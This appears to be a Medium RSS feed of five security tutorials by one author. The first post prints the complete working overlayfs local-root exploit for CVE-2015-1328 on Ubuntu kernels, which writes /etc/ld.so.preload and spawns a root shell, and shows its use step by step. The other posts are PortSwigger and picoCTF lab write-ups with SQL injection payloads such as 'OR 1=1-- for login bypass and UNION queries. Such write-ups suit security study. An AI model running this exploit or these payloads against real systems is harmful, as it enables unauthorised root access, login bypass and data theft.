<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Emil Gallajov on Medium]]></title>
        <description><![CDATA[Stories by Emil Gallajov on Medium]]></description>
        <link>https://medium.com/@emilgallajov?source=rss-f95a8d4aaa91------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xSxlIJg641r5tWi56WMgAA.png</url>
            <title>Stories by Emil Gallajov on Medium</title>
            <link>https://medium.com/@emilgallajov?source=rss-f95a8d4aaa91------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 20:33:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@emilgallajov/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2015–1328: Linux Privilege Escalation]]></title>
            <link>https://emilgallajov.medium.com/cve-2015-1328-linux-privilege-escalation-9bc382abe015?source=rss-f95a8d4aaa91------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bc382abe015</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[cve-2015-1328]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Emil Gallajov]]></dc:creator>
            <pubDate>Fri, 17 May 2024 10:07:17 GMT</pubDate>
            <atom:updated>2024-05-17T10:07:17.304Z</atom:updated>
            <content:encoded><![CDATA[<p>This vulnerability was found out in Linux Kernel 3.13.0 &lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04). Along with that, this vulnerability is very popular exploit called <strong>overlayfs</strong>. If you want to check the exploit code, you are able to enter the link in the description:</p><p><a href="https://www.exploit-db.com/exploits/37292">OffSec&#39;s Exploit Database Archive</a></p><p>Let’s exploit the machine which is vulnerable in terms of privilege escalation.</p><p>First of all, we need to be aware of the kernel <strong>version </strong>of machine which is found with the below-mentioned command:</p><blockquote>uname -a</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3Vqz3bBOdgQT2k6UYydVw.png" /><figcaption>kernel version</figcaption></figure><p>We obtained that this linux kernel of this machine is 3.13.0–24-generic.</p><p><strong><em>Then, we need to know “What Linux is this?”</em></strong></p><blockquote>lsb_release -a</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*upTkhoYke9nFaTLi2H3lng.png" /><figcaption>release of linux</figcaption></figure><p>Its version is <strong><em>Ubuntu 14.04 LTS.</em></strong></p><p>After this information, we are sure that this machine is vulnerable with overlayfs vulnerability.</p><p><strong><em>How to exploit it?</em></strong></p><p>Firstly, we should run C code in /tmp directory due to user privileges(permission). This C code is given below(37292.c):</p><pre>/*<br># Exploit Title: ofs.c - overlayfs local root in ubuntu<br># Date: 2015-06-15<br># Exploit Author: rebel<br># Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)<br># Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04<br># CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)<br><br>*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*<br>CVE-2015-1328 / ofs.c<br>overlayfs incorrect permission handling + FS_USERNS_MOUNT<br><br>user@ubuntu-server-1504:~$ uname -a<br>Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux<br>user@ubuntu-server-1504:~$ gcc ofs.c -o ofs<br>user@ubuntu-server-1504:~$ id<br>uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)<br>user@ubuntu-server-1504:~$ ./ofs<br>spawning threads<br>mount #1<br>mount #2<br>child threads done<br>/etc/ld.so.preload created<br>creating shared library<br># id<br>uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)<br><br>greets to beist &amp; kaliman<br>2015-05-24<br>%rebel%<br>*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*<br>*/<br><br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sched.h&gt;<br>#include &lt;sys/stat.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;sys/mount.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sched.h&gt;<br>#include &lt;sys/stat.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;sys/mount.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;signal.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;linux/sched.h&gt;<br><br>#define LIB &quot;#include &lt;unistd.h&gt;\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \&quot;getuid\&quot;);\nreadlink(\&quot;/proc/self/exe\&quot;, (char *) &amp;path, 128);\nif(geteuid() == 0 &amp;&amp; !strcmp(path, \&quot;/bin/su\&quot;)) {\nunlink(\&quot;/etc/ld.so.preload\&quot;);unlink(\&quot;/tmp/ofs-lib.so\&quot;);\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\&quot;/bin/sh\&quot;, \&quot;sh\&quot;, \&quot;-i\&quot;, NULL, NULL);\n}\n    return _real_getuid();\n}\n&quot;<br><br>static char child_stack[1024*1024];<br><br>static int<br>child_exec(void *stuff)<br>{<br>    char *file;<br>    system(&quot;rm -rf /tmp/ns_sploit&quot;);<br>    mkdir(&quot;/tmp/ns_sploit&quot;, 0777);<br>    mkdir(&quot;/tmp/ns_sploit/work&quot;, 0777);<br>    mkdir(&quot;/tmp/ns_sploit/upper&quot;,0777);<br>    mkdir(&quot;/tmp/ns_sploit/o&quot;,0777);<br><br>    fprintf(stderr,&quot;mount #1\n&quot;);<br>    if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlayfs&quot;, MS_MGC_VAL, &quot;lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper&quot;) != 0) {<br>// workdir= and &quot;overlay&quot; is needed on newer kernels, also can&#39;t use /proc as lower<br>        if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlay&quot;, MS_MGC_VAL, &quot;lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work&quot;) != 0) {<br>            fprintf(stderr, &quot;no FS_USERNS_MOUNT for overlayfs on this kernel\n&quot;);<br>            exit(-1);<br>        }<br>        file = &quot;.access&quot;;<br>        chmod(&quot;/tmp/ns_sploit/work/work&quot;,0777);<br>    } else file = &quot;ns_last_pid&quot;;<br><br>    chdir(&quot;/tmp/ns_sploit/o&quot;);<br>    rename(file,&quot;ld.so.preload&quot;);<br><br>    chdir(&quot;/&quot;);<br>    umount(&quot;/tmp/ns_sploit/o&quot;);<br>    fprintf(stderr,&quot;mount #2\n&quot;);<br>    if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlayfs&quot;, MS_MGC_VAL, &quot;lowerdir=/tmp/ns_sploit/upper,upperdir=/etc&quot;) != 0) {<br>        if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlay&quot;, MS_MGC_VAL, &quot;lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work&quot;) != 0) {<br>            exit(-1);<br>        }<br>        chmod(&quot;/tmp/ns_sploit/work/work&quot;,0777);<br>    }<br><br>    chmod(&quot;/tmp/ns_sploit/o/ld.so.preload&quot;,0777);<br>    umount(&quot;/tmp/ns_sploit/o&quot;);<br>}<br><br>int<br>main(int argc, char **argv)<br>{<br>    int status, fd, lib;<br>    pid_t wrapper, init;<br>    int clone_flags = CLONE_NEWNS | SIGCHLD;<br><br>    fprintf(stderr,&quot;spawning threads\n&quot;);<br><br>    if((wrapper = fork()) == 0) {<br>        if(unshare(CLONE_NEWUSER) != 0)<br>            fprintf(stderr, &quot;failed to create new user namespace\n&quot;);<br><br>        if((init = fork()) == 0) {<br>            pid_t pid =<br>                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);<br>            if(pid &lt; 0) {<br>                fprintf(stderr, &quot;failed to create new mount namespace\n&quot;);<br>                exit(-1);<br>            }<br><br>            waitpid(pid, &amp;status, 0);<br><br>        }<br><br>        waitpid(init, &amp;status, 0);<br>        return 0;<br>    }<br><br>    usleep(300000);<br><br>    wait(NULL);<br><br>    fprintf(stderr,&quot;child threads done\n&quot;);<br><br>    fd = open(&quot;/etc/ld.so.preload&quot;,O_WRONLY);<br><br>    if(fd == -1) {<br>        fprintf(stderr,&quot;exploit failed\n&quot;);<br>        exit(-1);<br>    }<br><br>    fprintf(stderr,&quot;/etc/ld.so.preload created\n&quot;);<br>    fprintf(stderr,&quot;creating shared library\n&quot;);<br>    lib = open(&quot;/tmp/ofs-lib.c&quot;,O_CREAT|O_WRONLY,0777);<br>    write(lib,LIB,strlen(LIB));<br>    close(lib);<br>    lib = system(&quot;gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w&quot;);<br>    if(lib != 0) {<br>        fprintf(stderr,&quot;couldn&#39;t create dynamic library\n&quot;);<br>        exit(-1);<br>    }<br>    write(fd,&quot;/tmp/ofs-lib.so\n&quot;,16);<br>    close(fd);<br>    system(&quot;rm -rf /tmp/ns_sploit /tmp/ofs-lib.c&quot;);<br>    execl(&quot;/bin/su&quot;,&quot;su&quot;,NULL);<br>}</pre><p>After running exploit code, we escalated our privileges to the root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*EcV-r4Mf3hr-_Z4aL1ZoaA.png" /><figcaption>root privileges</figcaption></figure><p>So, that is the end of my explanation. I wish best of luck to you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bc382abe015" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger: SQL injection attack, querying the database type and version on Oracle]]></title>
            <link>https://emilgallajov.medium.com/portswigger-lab-sql-injection-attack-querying-the-database-type-and-version-on-oracle-1345804d1c16?source=rss-f95a8d4aaa91------2</link>
            <guid isPermaLink="false">https://medium.com/p/1345804d1c16</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Emil Gallajov]]></dc:creator>
            <pubDate>Sun, 05 May 2024 15:37:43 GMT</pubDate>
            <atom:updated>2026-09-05T21:42:19.316Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle">Lab: SQL injection attack, querying the database type and version on Oracle</a></p><p>Hello everyone, this is the third sql injection lab of web security academy. I would like to clarify the concept of this SQLi lab.</p><p>The lab requires that from us:</p><blockquote>This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.</blockquote><blockquote>To solve the lab, display the database version string.</blockquote><p>If we open the website, we can see categories filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*2x5sUY2fma5G7zbHOyRhUA.png" /><figcaption>categories filter</figcaption></figure><p>Then, we should click the one of categories in the filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hz2iZeYsUVw_rJvkSdiVdw.png" /></figure><p>For example, we clicked <strong>Lifestyle </strong>category. After that, we need to detect where SQLi is. The popular method is to put the single quote(&#39;--) after <strong>Lifestyle </strong>category. The result was presented in the picture below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGeTAP2WQh5gl56Sm5aJdw.png" /></figure><p>You are able to see that the backend architecture accepts this response. After detecting vulnerability, you have implement some attack vectors after detection(post explotation). The lab requires version of <strong>Oracle Database Version </strong>and we need to find out UNION SQli. Each sides of UNION operator have to become the same number of columns. Therefore, we must check columns with giving <strong><em>null </em></strong>until finding the equality:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CfqsJJwiTX41rvxhJTi-Lg.png" /></figure><blockquote>Note that, there is a built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT &#39;abc&#39; FROM dual</blockquote><p>After chechking, you can see the equality stops when you enter <strong>2 nulls.</strong></p><p>So, we should to reveal the version of Oracle Database. The version number is found like that (in OracleDB):</p><blockquote>SELECT banner FROM v$version</blockquote><blockquote>or</blockquote><blockquote>SELECT version FROM v$instance</blockquote><p>Then, when I checked the first one, the survey was accepted by the backend of web app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5Ide_MZyPvpv8WOfvW-NQ.png" /><figcaption>result</figcaption></figure><p>So, that is the end of my explanation. I wish best of luck to you.</p><blockquote>Note: “Web Hacking 101” starts with attacker input. Just understand the theory or working principle of website.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1345804d1c16" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger: SQL injection vulnerability allowing login bypass]]></title>
            <link>https://emilgallajov.medium.com/portswigger-lab-sql-injection-vulnerability-allowing-login-bypass-e5e87f71c669?source=rss-f95a8d4aaa91------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5e87f71c669</guid>
            <category><![CDATA[website]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[web-security-academy]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Emil Gallajov]]></dc:creator>
            <pubDate>Sun, 05 May 2024 08:04:50 GMT</pubDate>
            <atom:updated>2026-09-05T21:41:23.047Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://portswigger.net/web-security/sql-injection/lab-login-bypass">Lab: SQL injection vulnerability allowing login bypass</a></p><p>Hello everyone, this is the second sql injection lab of web security academy. I would like to clarify the concept of this SQLi lab.</p><p>The lab requires that from us:</p><blockquote>This lab contains a SQL injection vulnerability in the login function.</blockquote><blockquote>To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.</blockquote><p>Firstly, we should enter <strong>My account </strong>page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*dBoT-Q5zuvUfEXeMjpAs5g.png" /></figure><p>When you click the My account page, you are going to see login page. Our purpose is to bypass the this page and login administrator account. There are many methods which logical operators are included here so as to bypass login page →</p><pre>&#39;AND 1=1--<br>&#39;OR 1=1--<br></pre><p>If you enter these payloads, you are more likely bypass the administrator account:</p><blockquote>username =&gt; &#39;OR 1=1--</blockquote><blockquote>password=&gt; enter anything whatever you want.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*JrMfHoZOKAX2t4EIf0NTog.png" /><figcaption>Login Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7dYP4NAUZAG_KxbM-rZ-LQ.png" /><figcaption>Result</figcaption></figure><p>So, let’s assume how backend of website works. I think that there is the sql survey like that:</p><pre>$username = $_POST[&#39;username&#39;];<br>$password = $_POST[&#39;password&#39;];<br><br>$sql = &quot;SELECT * FROM users WHERE username=&#39;$username&#39; AND password=&#39;$password&#39;&quot;;</pre><p>This is php code that checks authorization. If you enter &#39;OR 1=1-- , the backend understands like that:</p><pre><br>SELECT * FROM users WHERE username=&#39;$username&#39;OR 1=1--&#39; AND password=&#39;$password&#39;</pre><p>This logical operator is always true because <strong>this statement(1=1) </strong>will show us the truth of condition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*EEOFUAj3QLl7eRq2AHBQ6g.png" /><figcaption>proof</figcaption></figure><p><strong><em>Note: </em></strong><em>Take care when injecting the condition</em> OR 1=1 <em>into a SQL query. Even if it appears to be harmless in the context you&#39;re injecting into, it&#39;s common for applications to use data from a single request in multiple different queries. If your condition reaches an</em> UPDATE <em>or </em>DELETE <em>statement, for example, it can result in an accidental loss of data.</em></p><p>So, that is the end of my explanation. I wish best of luck to you.</p><blockquote>Note: “Web Hacking 101” starts with attacker input. Just understand the theory or working principle of website.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5e87f71c669" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data]]></title>
            <link>https://emilgallajov.medium.com/portswigger-lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data-4e4ba0f4bbfc?source=rss-f95a8d4aaa91------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e4ba0f4bbfc</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Emil Gallajov]]></dc:creator>
            <pubDate>Sat, 04 May 2024 16:26:17 GMT</pubDate>
            <atom:updated>2026-09-05T21:40:46.403Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data">Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</a></p><p>Hello everyone, this is the first sql injection lab of web security academy. I would like to clarify the concept of this SQLi lab.</p><p>The lab requires that from us:</p><blockquote>This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:</blockquote><blockquote>SELECT * FROM products WHERE category = &#39;Gifts&#39; AND released = 1</blockquote><blockquote>To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.</blockquote><p>If we open the website, we can see categories filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*Imcj68YVVVcVZ9dOMLfFTg.png" /><figcaption>categories filter</figcaption></figure><p>Then, we should click the one of categories in the filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S8Rke4XpuL-lwhfrNlcWzA.png" /></figure><p>For example, we clicked Pets category. According to task, there are unreleased products which are hidden. If we want to find out unreleased products, we should detect the sql vulnerabily of web app. The one of common method of detecting SQLi is giving the single quote character &#39; to the web application. This will give us <strong>internal server error. </strong>Why? This stems from that we did not comment out the rest of the sql survey. So, the proper input is &#39;-- .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwsIxFGuxZ6uyZp5XUg6cw.png" /><figcaption>detection of vulnerability</figcaption></figure><p>You can see the web app accepted our input. If you have discovered this vulnerability, you can easily understand the code running in the backend even without looking at the description of the task.</p><p>It almost should be like that:</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39;</pre><p>If you put the single quote mark, the sql code works like that:</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39;--&#39;</pre><p>How to obtain the hidden data? The answer is that you can give conditional statements:</p><pre>&#39;AND 1=1--<br>&#39;OR 1=1--</pre><p>They are our payloads so as to inject web app. So, just input them to the web application.</p><p><strong><em>Note: </em></strong><em>Take care when injecting the condition</em> OR 1=1 <em>into a SQL query. Even if it appears to be harmless in the context you&#39;re injecting into, it&#39;s common for applications to use data from a single request in multiple different queries. If your condition reaches an</em> UPDATE <em>or </em>DELETE <em>statement, for example, it can result in an accidental loss of data.</em></p><p>Note that when you check one of the these payloads, I highly recommend to start from &#39;AND 1=1-- due to above-mentioned note. When you check this payload, you are going to encounter this view:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SP0LcjVW_-UcyhwiqXnbbg.png" /></figure><p>It means that you will not see unreleased data. We just have one chance and this is the &#39;OR 1=1-- . If you inject with this payload, you are more likely to solve this lab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*Br9iLr2xhTqPs7F0meQujA.png" /><figcaption>Result</figcaption></figure><p>The question is how this payload works. When you input &#39;OR 1=1-- , the backend understands like that</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39; OR 1=1--&#39; AND released = 1</pre><p>The backend gives the single quote to the end of the payload, and inputted quote locate to the <strong>‘<em>Gifts’ </em></strong>string. In addition, the comment mark will comment out the rest of the sql code. As a result, one code left in the survey, and this is OR 1=1-- . If you run this code in MySQL, you will notice the truth of one condition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*qabqPKH5GnUhfr7u5DITEg.png" /><figcaption>proof</figcaption></figure><p>Consequently, the web application will accept this code and give all of products.</p><p>So, that is the end of my explanation. I wish best of luck to you.</p><blockquote>Note: “Web Hacking 101” starts with attacker input. Just understand the theory or working principle of website.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e4ba0f4bbfc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[picoCTF: GET aHEAD writeup]]></title>
            <link>https://emilgallajov.medium.com/picoctf-get-ahead-writeup-10ace6190a03?source=rss-f95a8d4aaa91------2</link>
            <guid isPermaLink="false">https://medium.com/p/10ace6190a03</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Emil Gallajov]]></dc:creator>
            <pubDate>Tue, 30 Apr 2024 19:56:02 GMT</pubDate>
            <atom:updated>2024-04-30T19:56:02.694Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello ctf players! In this writeup, i will clarify how to approach this <a href="http://mercury.picoctf.net:28916/">ctf</a> in order to get flag.</p><p><a href="http://mercury.picoctf.net:28916/"><strong><em>http://mercury.picoctf.net:28916/</em></strong></a></p><p>Firstly, when you enter the web site, you are able to see two options(Red and Blue):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AxMG-PGuwHIxf9iWbL-CRQ.png" /><figcaption>content of website</figcaption></figure><p>In that case, you can easily click any of these buttons and see the http requests via Burpsuite. When you analyze requests each of these buttons, the requests is not interesting in terms of finding flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U072lFxNUZuM-GfRMpbBeQ.png" /><figcaption>the GET request</figcaption></figure><p>The challenge name looks interesting since “<strong>HEAD</strong>” is one of common <strong>http method</strong> which returns <em>metadata </em>about a resource on the server.</p><blockquote>Note<em>: If you don’t completely know about the http methods, I highly recommend to read the documentation in the link below:</em></blockquote><blockquote><a href="https://www.theserverside.com/blog/Coffee-Talk-Java-News-Stories-and-Opinions/HTTP-methods">https://www.theserverside.com/blog/Coffee-Talk-Java-News-Stories-and-Opinions/HTTP-methods</a></blockquote><p>If you replace the <strong>GET </strong>method with <strong>HEAD</strong>, you can see <em>the flag </em>in the response via <strong>Burpsuite Repeater:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4KAwrDiuF-ikzS9uA5qLw.png" /><figcaption>The flag in the response page</figcaption></figure><p>The flag was submitted! Thanks!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10ace6190a03" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>